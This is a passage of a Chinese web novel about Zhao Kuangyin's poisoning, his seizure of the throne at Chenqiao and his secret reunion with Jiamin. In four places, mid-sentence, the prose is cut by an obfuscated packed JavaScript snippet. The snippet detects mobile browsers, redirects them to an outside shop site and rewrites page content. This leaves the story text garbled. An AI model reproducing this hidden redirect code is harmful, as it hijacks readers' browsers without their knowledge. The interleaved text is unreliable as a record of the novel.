王炎不敢对皇帝的决定有丝毫异议,思虑一番,打算借着半月后替夫人办生辰宴的机会,请女儿和女婿上门。 赵匡胤伤势渐好,自然也就答应下来。 到了岳父家,赵匡胤留在前院陪着接待客人,王鹤儿则被母亲带去了出嫁前所住的闺房。 当她接过那瓶御赐之药时,禁不住全身颤抖,一脸难以置信地看着母亲。 王夫人瞧出女儿的疑虑,皱眉道:“鹤儿,你要知道,皇上想把一个人变成什么样,就能变成什么样。那赵匡胤可以为了心中所爱而冷落你,摆明是对皇上不敬,而今不过是要他真正成为你的丈夫而已,又不是要他的命,这惩罚本就不算重。更何况圣命难违,皇上点名要你亲自动手,此事若不成,牵连的可是整个王家。爹娘生你养你,也不指望能够获得什么报答,至少不能给家里招来祸事,你说是不是?” 沉默半晌,王鹤儿咬牙泪盈盈地道:“可是……若我给相公下了此毒,今后又该如何面对他?” 王母淡淡暼了女儿一眼道:“今后……他还会有今后么?” 当天赵匡胤罕见地有些醉酒,头脑很不清醒,夜晚被安排留宿在王家。 仆婢将他扶进了王鹤儿的闺房,荧荧烛火下,他蓦然抬首看着寝帐中俏丽的女子影,带着些疑惑柔声唤道:“嘉敏——” 夜半三更,王家被刺客包围,幸好石守信等人一直不敢掉以轻心,很快发现异样,把早布署好的人手调动起来,暗暗守住四下。 双方剑拔弩张,可奇怪的是刺客迟迟不动手,一直耗到天亮又悄然撤离,虚晃一枪着实教人摸不着头脑。 只是赵匡胤那边竟还是出事了,听到房中异样的响动,石守信厉喝一声踢开门冲进去。 没有看到刺客的影子,赵匡胤却一口黑血喷在雪白纱帐上。 “大哥——”石守信大骇,上前去搀扶他,却见赵匡胤将剑对准了王鹤儿,一脸愤恨。 随后冲进来的王审琦均是惊骇不已,王鹤儿掩面啼哭,似也不想解释什么。 陈抟老祖叹息着走进来,放缓语调道:“这‘醉春宵’之毒,乃是柴荣给王小姐的,中此毒者会产生幻觉,将眼前之人看成自己的心上人。原本若是剂量合适倒不会有什么伤害,只是赵将军心志坚定,柴荣怕他不会就范,将剂量加大了三倍,如此就成了蚀骨毒药。” 王鹤儿脸色煞白,不想自己竟成了毒死相公的凶手,还是用这等方法。 一行人全都慌了神,石守信勉强镇定问道:“仙师可有办法替大哥解毒?” 陈抟老祖摇头道:“此毒暂时要不了性命,不过以赵公子的情况,怕是会折寿,至少十年,若是寻常人早丧命了!” “十年……”王鹤儿脸上露出一抹凄凉笑意,“事到如今,妾已无法将这十年寿命还给相公,只能以死谢罪了!”说罢抓住剑锋朝自己身上捅过来。 所幸赵匡胤反应极快,将剑往回收,喝道:“撒手!” 王审琦见堂妹伤了手也慌忙道:“鹤儿,此事怪不得你,你别再激怒大哥了!” 加上王夫人也来了,把女儿抱在怀里哭,王鹤儿顿感有所倚靠,才松开了手。 赵匡胤将带血的宝剑丢在地上,强忍着愤懑缓缓道:“王小姐,当初你我成婚虽说是皇命难违,可我一直不曾待你如妻子,却是天大的过错,若折损这十年阳寿能够弥补对你的伤害,赵某心甘情愿。只是我心中不爱你,以后也不会爱,昨夜之事盼你就此忘了,从此以后你我之间互不相欠互不相扰,可好?” 47.红尘悠悠 王鹤儿无话可说,只是闭目哭泣。 却听得母亲怒道:“若非皇命难违,我家女儿也断不会嫁给你这等薄悻无良的东西。既然你这般待我女儿,皇上面前自己去担着,和离书我们王家还是有人会写的!” 赵匡胤冷冷道:“多谢!”言罢头也不回拂袖而去。 纵马回去赵家,在门口又吐了不少毒血,被老管家扶回去,躺下之后便昏迷过去不省人事,恍惚中看到嘉敏来到他身边。 他伸出手抱她在怀,心下的歉意更浓,“嘉敏,我……” 嘉敏将手指压在他唇上,眼波里尽是怜悯之色,柔声道:“赵哥哥,嘉敏知道你的辛苦,也知道你所遭受的困境,不管发生什么,都不要去责备自己,好不好?” 赵匡胤默然不语,只是抱着她垂泪。 嘉敏将脸贴紧他的胸膛软语安慰:“这些时日我一直求菩萨保佑你一切安好,我与你相隔数千里之遥,原本就难以安心。如果你再这般不停的让自己受伤,我不知道会做出什么傻事来!” 赵匡胤立时将眼泪擦干,“我不伤心了,只要嘉敏好好的,赵哥哥什么都扛得住!” 嘉敏浅笑着抬手摸他的脸:“赵哥哥真乖——” 屋里乱糟糟来了一堆人,梦境就这般被搅散了。 石守信等人架着陈抟老祖前来给他看诊,银针扎上不过片刻人就醒了。 陈抟老祖将石守信等人轰出去,说是人全都围在这里呼吸都不畅快,要让他静养才行。兄弟们也都听话,各自走开。 “仙师,我刚才梦见嘉敏了!”赵匡胤喃喃道:“你明明说过嘉敏与我乃是命中注定的姻缘,却为何又会有今日之局面?” “天下之大莫过于皇权,你说为何?”陈抟老祖淡淡道。 “皇权?”赵匡胤冷笑连连,“没错,我和嘉敏一样,都不过是皇权的玩物罢了,杀人诛心,莫过于此!” 他第一次生出了对柴荣的深沉恨意,连眼神都变了。 陈抟老祖看在眼里,默默推波助澜:“周二小姐红颜薄命,她所遭受的困厄,只会比你更甚!若你想要让自己和周二小姐摆脱困厄,该如何做,只怕不用老道过多言说。” 周匡胤顿觉心痛不已,喃喃道:“我把嘉敏一个人留在江南,也不知道分开以后她究竟如何了……” 陈抟老祖将银针拔出来,一边淡淡道:“你当日命石守信将军等人装扮成山匪的模样劫道,自己钻进来周二小姐的马车,出来的时候被黄保仪看到了,她将情况如实上报给南唐皇后,皇后以她失德为由,动手打了她。” 赵匡胤不由握紧了拳头,自小他就见不得嘉敏受半点委屈,听到居然有人打她,血气登时一下子冲到脑门,乱七八糟的想法全都涌上来。 “赵公子可还记得老道以前讲过的应龙真君和帝女红莲的故事?”陈抟老祖循循善诱,“那十方莲池开的帝女红莲,因为暂时失去了依仗,便被路过的文曲星君摘走,那文曲星君正是将来的江南国主李煜。至于应龙真君能否救回红莲公主,就要看他在凡间的真身何时才能拥有打败文曲星君的实力。” 此话意思已经颇为明显,赵匡胤抚着额头苦笑:“若故事是真的,这天上的真君殿下也太没用了些,和赵某一样没用!” 陈抟老祖忙活完自己的事,不紧不慢地道:“天道自有其不可言说之处,过些年赵公子自然就明白了!赵公子此番出征大约会路过陈桥驿,老道在此先恭喜你了!”陈抟老祖说罢哈哈大笑着离开。 “出征?”赵匡胤疑惑不解,眼下并无战事,他人还在汴京,何来出征一说? 几日后,皇帝召赵匡胤入朝。 一入皇城就碰上柴荣带着亲兵严阵以待,石守信等人攥着拳头,额头上冒出一层冷汗。 纵然百感交集,然则君臣之礼不可废,赵匡胤走上前,甫一下拜,手背上滴落一滩温热鲜血。 竟是柴荣嘴角流着鲜血,忽然抓紧赵匡胤的手臂,双目狠厉地瞪着他,半晌只说出一个字:“你……” 赵匡胤皱眉,看出主上眼中的杀气愈来愈重,却丝毫不惧。 如果对方要痛下杀手,自己绝对不会坐以待毙。 他冰冷的眼神令柴荣大受刺激,倒地吐血不止。 赵匡胤眉头紧皱,背上他匆匆回宫,一边喊道:“快传太医!” 将皇帝送回寝宫,等了大半日,圣旨传来:加封赵匡胤为归德节度使,即日起外放出京,不得有误! 赵匡胤默默接旨,虽说是外放出京,可距离汴京并不远,大约是有几分警示的意味。 只没想到外放不过两日,石守信匆忙传来消息:“大哥,皇上驾崩了,太后命你班师回朝!” 赵匡胤一脸错愕,半晌道:“竟然这么快!” 石守信叹息:“此次回京,也不知是吉是凶。有个犯人,大哥不如先审审!” 不知是从哪里来的犯人,赵匡胤瞧了一眼,觉得有些眼熟,只是想不起来。 那犯人倒是自觉,不待他严刑拷问就什么都说了:“赵将军,派属下谋害你之人乃是当今圣上!” 赵匡胤霍然惊醒,“你是当日在扬州送毒酒之人?” 犯人点头不止:“年前皇上得了不治之症,太医说他命不久矣,他担心自己死后太子年幼,而赵将军你又手握重兵,正所谓主少国疑,皇上担心你会谋朝篡位,所以才……” “放肆!”赵匡胤厉喝:“皇上待我一向甚为亲厚,定不会做此等违背道义之事。你如此污蔑皇上,饶你不得!”话音落拔出石守信宝刀亲自动手将其斩杀。 那犯人登时毙命,石守信等人琢磨不透他的心思,犹疑半晌道:“大哥,兄弟们并非想要强迫你相信什么,只不过眼下的情势由不得我等不小心提防。先帝驾崩,太子继位,太后在这个时候召你回京,是吉是凶,大哥可有考量?” 赵匡胤淡淡道:“皇上屡次对我下手皆未成功,太后怕是不敢。” 众兄弟面面相觑,还是石守信问出口:“大哥莫不是早就知道了?” 赵匡胤正色道:“兄弟们跟了我这么多年,可以说是将身家性命交付于我,我怎敢糊涂?放心吧,大哥乃是惜命之人,非但要自保,还要保各位兄弟!不过还望众兄弟记下,我等皆是大周臣子,有些事情最好烂在肚子里,一个字都不要说出来!” 公元九五九年,世宗柴荣去世,葬于庆陵,年仅七岁的太子柴宗训即位,符太后临朝听政。 国丧之期刚开始没多久,边境传来战报,北汉联合契丹欲大举进,宰相范质上书太后,急遣赵匡胤率军北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277975|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上抗敌。 出征前符太后将柴荣所持之玉如意赐予,含泪道:“先帝驾崩之时曾留有遗言,将我母子二人之性命交托于赵将军之手,望将军勿负先帝和大周百姓之期望,哀家与皇上会在宫里等着你凯旋而归!” 赵匡胤面上波澜不惊,接过赏赐再拜而出。 兄弟们全部整装待发,却听他突然问道:“守信,此番我等是否会经过陈桥驿?” 石守信查看了地图,点头道:“从汴京出发,不过一日便能到陈桥驿,未知此地可有什么不妥?” 赵匡胤不答,看着天色喃喃道:“今年的冬天似乎来的早了些!” 出征前一天晚上,弟兄们凑在一起议论纷纷:“哼,那柴荣在世时就屡次谋害大哥,此番雪天行军命我等去攻打契丹和北汉,表面上委以重任,可战场形势瞬息万变,天知道这是不是圈套,说不定太后和小皇帝正暗自期盼大哥会战死沙场,也好除了心腹大患!” 王审琦怒道:“大哥一心报效朝廷,这大周的江山一半都是大哥打下来的,北汉和契丹虎视眈眈,除了大哥,那小皇帝的位置就坐的稳么?” “定然不能叫他们害死大哥!”众兄弟一个个目眦欲裂,杨小九道:“二哥,你倒是说句话啊!” 石守信沉声道:“众兄弟可知要保住大哥需付出何等代价?” 王审琦冷笑:“我等便是把身家性命全都押上又如何?” 杨小九道:“对,没有大哥,哪有兄弟们的今日,为了大哥,兄弟赴汤蹈火在所不辞!” 一干人纷纷点头称是,颇有当年歃血为盟的气势。 石守信当下拍案道:“好!既然如此,我们不妨背着大哥来笔大的!” 王审琦问道:“二哥有什么计划,但说无妨!” 石守信道:“明日出征,黄昏就能到陈桥驿,我便借着过生辰的由头,请大哥来帐中饮酒,到时候各位定要各显神通,务必将其灌醉……” 明日傍晚周军果然经过了陈桥驿,赵匡胤看着界碑发呆,半晌道:“有探子来报,百里之外并未见到北汉抑或契丹的军队,只怕这次联手出兵乃是流言。我等不如就在陈桥驿多歇两日,容后再做计较。” 石守信等人对了下眼神,暗暗道:“当真是天助我也!” 高怀德笑道:“刚好今天是二哥生辰,兄弟们还想着庆贺一番。” 石守信立马接过话头:“今晚我在帐中设宴,大哥可要赏脸,兄弟几个好好喝上几杯!” 赵匡胤笑道:“你哪年生辰大哥没陪你喝个痛快?” 兄弟几人仰头大笑,却是各怀心事。 当晚几个兄弟轮流敬酒,赵匡胤也不好拂了众兄弟之意,来者不拒,不到一个时辰便醉倒了。 这一睡倒是当真舒坦,他又梦到了那一处十方莲池,池中开着的红色莲花变成了嘉敏的模样,跑过来扑入他怀中,过了片刻,围在他身侧翩翩起舞。 这梦境如此真实,竟让他沉溺其中舍不得醒来,直到突来的一股力量将他们分开,不管他如何奋力去抓嘉敏的手,却无论如何也抓不住。 不行,距离还是太远了,他救不了嘉敏! 赵匡胤霍然惊醒,尚未回过神,却见石守信等人竟齐刷刷跪在面前大呼:“皇上万岁万岁万万岁!” 48.至近至远 连呼三声,震的赵匡胤头皮都麻了,再一看自己竟然身穿龙袍! “这……”赵匡胤大惊拍案而起:“尔等好大的胆子,难道是要迫我造反么?” 石守信等人一脸坚毅道:“先帝英年早逝,少主登基,恐国祚不稳,今日我等兄弟意欲拥立大哥为帝。非但我们几个,连远在汴京的王审琦也时刻做好了迎接大哥回京的准备。若大哥要治弟兄们谋逆之罪,弟兄们也认了。这满营的士兵随大哥一声招呼,将弟兄们全部拖出去砍了便是!” 赵匡胤怒道:“一派胡言!我等结义之时,曾有过同生共死之誓言,你要我杀自己的结义兄弟,岂不是逼我自戕?” 石守信朗声问道:“既然如此,以大哥之意,该当如何?” 事已至此,赵匡胤当然不愿意杀害结义兄弟,耳边又想起陈抟老祖的话:“尔乃应龙真君转世,生来便是要做皇帝,结束这天下之乱局,天命不可违,何不顺而从之?” 难道竟真的是天意?做了皇帝是不是就能早日救出嘉敏? 赵匡胤心乱如麻,沉思良久,双手按住桌子边沿,缓缓道:“天下乱离数百年,皇位轮流坐庄,百姓也不会在乎皇帝是姓柴还是姓赵。今日之势已然若此,我赵匡胤素来惜命,坐一坐这皇位也无不可,不过诸位需依我三件事,否则的话,这黄袍谁爱披便拿去吧!” 众人听罢拍着胸脯道:“莫说三件,三百件也依!” 赵匡胤叹息道:“第一件,我赵匡胤虽算不上忠臣良将,却也不愿担弑君谋逆之罪名,待回京以后,只需让皇上下一道禅位诏书即可,日后柴氏子孙享尊王之位,不可诛杀之!” 石守信与高怀德对视一眼,拱手道:“皇上圣明,如此再好不过!” “第二件,凡大周旧臣投效者官职不变,即便有人反对,也不可枉杀之,以免引起太多变数,伤了新朝根基!”赵匡胤斟酌着,北朝经过高祖郭威和世宗柴荣的苦心经营,如今日渐强盛,想要将这盛世继续下去,自然不能损耗元气,自废武功。 此事自然无碍,众人纷纷答允。 “第三件,也是最重要的一件——凡今日拥立我者,日后必为我马首是瞻,不可怀有贰心,不可不遵皇令,将来身居高位亦不可骄恣擅权祸乱朝纲!”赵匡胤一字一句,语调铿锵,此刻的他已然不是那个北朝的大将军,而是君临天下之帝王,连眼神也比往日更为坚毅。 诸兄弟将他的话全都听进了耳里,片刻大声喊道:“恭迎皇上班师回朝!” 公元九六零年,殿前都点检、归德节度使赵匡胤在陈桥驿发动兵变,黄袍加身篡夺帝位。 随后赵匡胤回师汴京,王审琦开城门迎接,周帝柴宗训退位,大宋王朝建立。 因其宽待周朝旧臣,朝堂之上并未引起太多动荡,户部尚书王炎亦向其投诚,将国库财权尽交。礼部也尽快准备宗庙祭祀,以昭告天下政权之平稳过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300949|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渡。 太庙祭祀繁文缛节甚多,所用之礼器“笾豆簠簋”更是见所未见,问左右:“此何等物也?” “回皇上,都是古代传下来的祭祀礼器。”礼部官员小心翼翼回答。 “古代传下来的?”赵匡胤抱臂笑道:“也就是说我家祖宗不认识这些喽?” 话音落,随之而来的石守信众人亦是哈哈大笑,似他们这等出身草莽的豪杰,哪里会在乎这一套虚设的礼制? 赵匡胤一抬手,“撤下去吧,拿寻常器物即可!” 礼部官员虽感不妥,可也无人敢对这个豪杰性子的皇帝说半个“不”字,遵命照办。 可不过片刻,赵匡胤又觉不妥,沉思道:“古礼亦不可废也,还是一切遵循先例吧!” 如今他是大宋的皇帝,再由着自己的性子来,怕是不妥,所谓屈己从众、舍己从俗才是帝王该行之事。 忙过了宗庙祭礼,王炎哆哆嗦嗦地求见。 赵匡胤还以为他是来送和离书的,想着离嘉敏已更近一步,登时心情大好,和颜悦色地命其平身。 王炎却不敢,伏地叩拜道:“皇上,臣有一事拿不定主意,特来求道旨意!” “哦?”赵匡胤疑惑,觉察到他的语气有几分不同寻常。 而王炎果然说出了一番石破天惊的话:“臣之女鹤儿怀孕已数月有余,这龙胎是去是留,臣与家人不敢轻易拿主意,还请皇上——定夺!” 49.得成比目(修) 凉风袭来,烛火自明灭。 明明已是春天,却感觉到一股彻骨的寒意将他紧紧包裹住。 赵匡胤的手抬起又放下,如是者三,他不知道自己想下什么样的命令,甚至根本说不出话。 那天晚上的事,他已竭尽全力想要当做没有发生过,可如今竟等来了这般结果。 骨肉人伦乃是天性,教他如何舍弃? 可他又该怎么向嘉敏交代,该怎么面对他们之间的誓约? 王炎没有得到任何旨意,只能回家等着。 接下来的半年,赵匡胤似乎忘了这件事,先后平定了昭义节度使李筠和淮南节度使李重进发动的叛乱,又将目标指向地处长江中游要冲的荆南、湖南。 荆、湖之地南北相邻,又东临南唐,西接后蜀,南靠南汉,只要占领此地,即可自中心突破,割裂南方诸国,以图各个击破。 诸将听其布署,只待找准时机,兵发荆湖。 这天商议完军政要事,众人皆散,唯独王审琦迟迟不肯离去,犹疑着问道:“皇上,鹤儿这几日怕是就要生产了,此事究竟该如何,可否明示?” 赵匡胤头也不抬,淡淡道:“嗯,知道了!” 这当然算不得什么明示,可造成今日之局面,王家人责无旁贷,不管赵匡胤是什么态度,他们也只能受着。 王审琦无话可说,默默走开,刚出宫门就瞧见有人将一个镶珠嵌玉的黄花梨大箱子抬进福宁宫。 管事的黄公公拦下来,依惯例想要进行检查,送箱子来的士兵却道:“此物乃是从金陵送来,皇上交代过任何人都不能碰,要直接送进寝宫里去。” 黄公公立时陪笑道:“皇上确实吩咐过老奴,这金陵来的东西只肖妥善地放入宫中即可,有劳小将军了!”说罢还谦卑地让开了身。 王审琦将一切瞧在眼里,皱眉暗暗思虑:“这箱子莫不是嘉敏妹妹送来的?” 他所料不错,箱子的确是嘉敏偷偷托陈抟老祖想办法送来汴京的。里面除了一封书信之外,全都是她这三年为赵匡胤缝制的衣衫鞋袜,一年做四套,一共有十二套,正是当时他们在鸡鸣寺外所许的三年之约,嘉敏承诺过要做给他的东西。 夜晚,赵匡胤打开箱子翻看着一件件的衣裳,再怎么咬紧牙关,亦止不住涕泗横流。 隆冬时节,天蒙蒙亮,管家通报说皇上来了。 王家人诚惶诚恐,带着怀有九个月身孕的女儿到门外来迎接。 赵匡胤没多说什么,只是向王鹤儿伸出手。 王鹤儿思索片刻才明白他是来接自己回家的,眼泪一下子涌出来,没有太多犹疑,牵住他的手。 他的手上戴着一个好看的瑟瑟指环,神色很是温柔,好像一夜之间换了个人似的。 王审琦暗觉欢喜,他早就料到皇上乃是重情之人,定然不会放着鹤儿母子不管,就算心下还舍不得嘉敏妹妹,大不了将来攻下南唐之后纳为宠妃,以鹤儿之性情大约是能和平相处的,想来也无大碍。 而赵匡胤向来也不是个拖泥带水的性子,接回了王鹤儿即下诏封其为后。十余日后长子出生,取名德昭。 孩子满月之时大办宴席,绛州的姑母也被接了来。十余年未见,姑侄二人皆说不出的欢喜。 赵淑玥将自己带来的长命锁给德昭戴上,又送了不少礼物给王鹤儿,几人有说有笑,倒也称得上是其乐融融。 待德昭入睡,赵淑玥恐扰了她母子清净,就由赵匡胤陪着回到住处。 “我知姑母不喜欢富丽堂皇的东西,就挑了个清净的地方出来,姑母看着可喜欢?有没有什么缺的东西需要添补?”赵匡胤说着,又斟了杯茶奉上。 赵淑玥也不喝茶,拉着他在身侧坐下,半晌幽幽道:“眼下只有我们两个人,匡胤,你有什么想告诉姑母的么?” 赵匡胤微笑道:“当初我离开绛州之时表弟们都还小,不知这些年他们都如何了?” “你表弟和姑父都很好,不必忧心。”赵淑玥叹息着摸他的头,“姑母想知道你好不好!你自小长在姑母身侧,开心或者不开心姑母一眼就看的出来。若真出了事,你不必瞒我,说给我听好不好?” “姑母想吃什么,御膳房有许多菜做的不错,今日我陪姑母一起用膳好不好?”赵匡胤依旧满脸笑意,一副安然无恙的神情。 赵淑玥见他不肯说,干脆自己提出来:“三年前你曾去了一封信到绛州,说是将要迎娶嘉敏为妻,可她年纪尚轻,想先放在姑母家里,等三年后再完婚。接到信以后,姑母就在家里盼着,一天又一天,却始终不见你带着嘉敏回来。而今你有了妻子,可却不是嘉敏。”说着握住他的手问:“匡胤,嘉敏去哪儿了?你为什么没有娶她而是娶了别人?” 赵匡胤的脸色瞬间暗淡下来,怔怔的不答话。 “嘉敏……嘉敏……”赵淑玥瞬间有了不好的猜想:“她是不是已经……” “嘉敏还活着——”赵匡胤忙道,只是眼睛又开始发胀,禁不住想要落泪,“她还活着,只是被人抢走了,有人抢了我的嘉敏,姑母,是我没用,我护不住她,留她一个人在江南受苦……” 赵淑玥震惊之余将侄儿搂在怀里,像小时候一样拍着他的背温柔安慰。 “姑母,都是我没用……是我没用……”赵匡胤大哭不止,好像要哭尽所有的悲伤过往,让自己透不过气的心绪能够肆意宣泄。 可他自小是个刚毅的个性,流血流汗皆不见半滴眼泪,如今这般模样连赵淑玥也惊到了,心疼地陪着他哭,一边道:“我可怜的孩子,这些年你和嘉敏到底都遭了些什么罪?是谁抢走了她,姑母陪着你上门去讨回来!” 赵匡胤一字一句道:“是他的姐夫,南唐太子李煜!” “难怪……”赵淑玥心底一片凄凉,“若非是个身份极尊贵之人,我的匡胤怎么可能会输给他?” 赵匡胤神色木然,喃喃道:“我想嘉敏,有很多话要和她说,我想见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323592|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她!” 如今的他已登基为帝,还封了皇后,有了长子,与嘉敏之间怕是缘分已尽,可他曾经信誓旦旦许下的那些诺言又算什么? 嘉敏还在江南等着他,日日夜夜,望眼欲穿,他怎能就这般不给她一个交代? 赵淑玥疼爱他如亲子,竟也没多想什么,只道:“姑母带你去找她,她小时候我还养过她一阵,就算是当了太子妃,她也不会不见我,是不是?” 虽说太子妃出宫不易,可清明前后必定也会回家祭祖。 赵淑玥于次年春日秘访金陵,终于在清明那一日见到嘉敏出宫祭拜父亲。 拜完之后就和秋芙在郊外踏青,秋芙结了两个杨柳球给各自戴在髻边,旧俗说是可以使红颜不老。 赵淑玥状似无意地走过去,摔倒在二人身侧。 嘉敏见状,慌忙和秋芙一起将她扶起来,不想手臂竟被她抓住。 “嘉敏,你可还认得我?”赵淑玥微抬头,眼眸凝着她。 半晌嘉敏才从那温柔的眉眼依稀辨别出她的模样,颤声道:“你是……姑母?” 秋芙一脸讶异,她可不知道小姐有这样一位姑母。 赵淑玥点头,“匡胤在扬州等你,他想见你!” 眼见皇宫的护卫已经走过来,赵淑玥悄悄将一张字条塞进嘉敏手中,又对她道了一声谢,就低着头离开了。 回到马车上,嘉敏偷偷将字条打开,上面写的是赵匡胤在扬州的落脚之地。 所幸嘉敏明日正要随兄长一起回扬州老家祭祖,倒是天赐良机。 一路上周宏瞧着妹妹神色忐忑,连带祭祖时也心不在焉,未免有些疑惑。 黄昏时分嘉敏用披风将自己裹紧,戴上风帽和秋芙一起偷偷从后门溜出去,只是刚跑出来几步就被人拦下。 虽抓了个正着,周宏竟也不多问,意味深长地道:“去吧,别忘了早些回来!” 想来兄长早知道自己的小心思,嘉敏的脸一下子红了,胆子却也大了不少,拉着秋芙的手疾步跑开。 “小姐,听说赵公子在北朝做了皇帝,还封了皇后,你此次见到他,还有何话可说?” “是我嫁人在先,就算赵哥哥已成婚生子,也怪不得他。” “那赵公子会不会是想结束你们之间的纠缠?人心易变,或许这么多年他已疲累,已不想再守诺言?” “赵哥哥并非会轻易毁诺之人,倘若人心已变,缘何还要相见?再则想到这些年他所承受的一切,就算他想要放弃,我也该成全他是不是?” 秋芙一时难以回答,毕竟一直以来他们两个人都在受苦,以嘉敏的性子,就算嘴上这般说,心里的伤不知会有多重,只能暗暗期盼赵公子不是来说再也不见的。 绕过十里画桥,跑进那青烟渺渺的雅致院落,阁中之人已守候多时。 闻得脚步声,霍然回首,见那容色纤丽的女子踩着一地落花,宛若玲珑飞燕一般猝不及防撞进他怀里。 50.愿作鸳鸯 经年别离,嘉敏的模样又有了些变化,容色清妍,身姿楚楚,端地一块温香软玉,抱着她的时候很难压制异样的感觉。 赵匡胤一时有些失神,许久才放开手臂,抬起她的下颔细细端详,柔声道:“还好,不似前年那般瘦骨伶仃,眼神也清澈不少。” “唔……我每天都吃很多!”嘉敏俏皮地道:“秋芙说以后跟赵哥哥在一块儿,不能吃的太素,那样你会受罪,所以现在每一顿我都很努力在吃肉。” 赵匡胤被她逗笑,却只瞬间神色又黯淡下来。 凉风脉脉,柳丝纤纤,飞燕掠水而过,双双对对朝着画阁处飞来。 “嘉敏,我已封了皇后,还有了孩子。”赵匡胤没有过多犹疑和盘托出:“不是我愿意的,他们……” 嘉敏忙抬手按住他的嘴唇,眼波闪动,很是心疼:“赵哥哥,如果你是想解释这些才千里迢迢而来,就不必再多说,我不怪你!”说罢又抱住他的腰身紧紧相拥在一起。 赵匡胤低头吻她眉心,“我都想好了,将来把江山留给他母子二人,自己做回那个平凡人,带着你漂泊江湖四海为家,过最初的那种日子,你说好不好?” 嘉敏在他怀里点头,虽说幼年的那段居无定所的漂泊生活并非不辛苦,可那时候只有他们两个人相依相伴,也用不着担忧随时会到来的离别,比起现在何止好了十倍百倍! “或者我们还可以去住在姑母家里,在农庄里生活。姑母说了,只要我能把你带回去,就当你是儿媳妇,要我们过安稳快乐的日子。”赵匡胤思忖着捧起她的脸,“如果你不喜欢农庄,也可以找一个好地方,置一处大宅子,可以赏花、可以钓鱼、还可以在院子里搭个戏台,听鼓书看百戏……” 嘉敏眨了眨亮晶晶的眼眸,听他这般说下去,脑筋转的飞快,插嘴道:“或者先去漂泊一阵,再去姑母家住一阵,再去自己家住一阵……” 两人抵着额头笑到不能自已,过了片刻总算牵着手并肩坐着叙话,各自讲了些近况。 嘉敏有意令他多提一些关于王鹤儿的事,听得出这位王皇后容色端丽温婉娴静,暗暗放心了些。 这些年她的心智也成熟不少,虽然自小就在做的梦一直无法割舍,却也明白两人之间有太多阻碍。加上赵匡胤辛苦半生,而今身边总算有妻儿为伴,实在不宜再因一个破碎的梦伤了他们夫妻之情。 想了半晌幽幽开口:“赵哥哥,你有没有想过,或许该和你在一起的人并非嘉敏,而是你的夫人?” 赵匡胤心下一阵刺痛,半晌才答她的话:“你这么说是因为不肯原谅我,还是心里有了李煜?” “都不是!”嘉敏慌忙摇头道:“这些年我一直在想,如果当初你没有救过我,是不是就不需要经受这么多的磨难?我带给你太多的不幸,而今你的身边有了爱你之人,或许不应该再将心思花在我身上,毕竟我什么都给不了你!” 赵匡胤只觉胸膛间气血翻涌,凝着她缓缓道:“如果我说这些年所有的不幸加起来,都比不得你这番话更教我万箭穿心,你可会将它收回?”喉咙像被刀割伤了一样,嗓音低沉近乎沙哑:“嘉敏,被迫守在自己不爱的人身边不是我们的错,我可以好好的回去给别人当丈夫,好好的教养孩儿,做一个男人该做的事。可我的整颗心里都是你,若强行挖走,你拿什么堵我的伤?” 嘉敏摇头泣道:“是我不该提这些,不该来伤你的心!我只是不知道如今的我们该怎么面对这支离破碎的场面,赵哥哥,为什么那个陪在你身边的女子不是我而是别人?明明我才是你签下婚书要娶的人……” 原来她说那些话竟也是在伤自己! 赵匡胤慌张地将她抱进怀里柔声安慰:“嘉敏,不哭……我们一年多才见一次,难道你要这样一直哭哭啼啼的么?” 抬起两只手替她擦眼泪,嘉敏才勉强破涕为笑。 “李煜对你好吗?”赵匡胤思忖着问,南唐太子风流多情,宫中嫔御甚多,也不知嘉敏在那里过着什么样的生活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345642|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉敏神色犹疑,慢慢的把秋芙代为侍寝的事情说出来。 此事惊险,若一不小心被察觉了,怕是重罪,赵匡胤听的难过,又揽她入怀。 秋芙突然急匆匆跑过来,喊道:“小姐,少爷派人送口信过来,说是太子突然来了扬州,要你赶快回去!” 对于李煜的造访,嘉敏茫然不解,可怜他们见面连一个时辰都没有,就要这样匆匆分开。 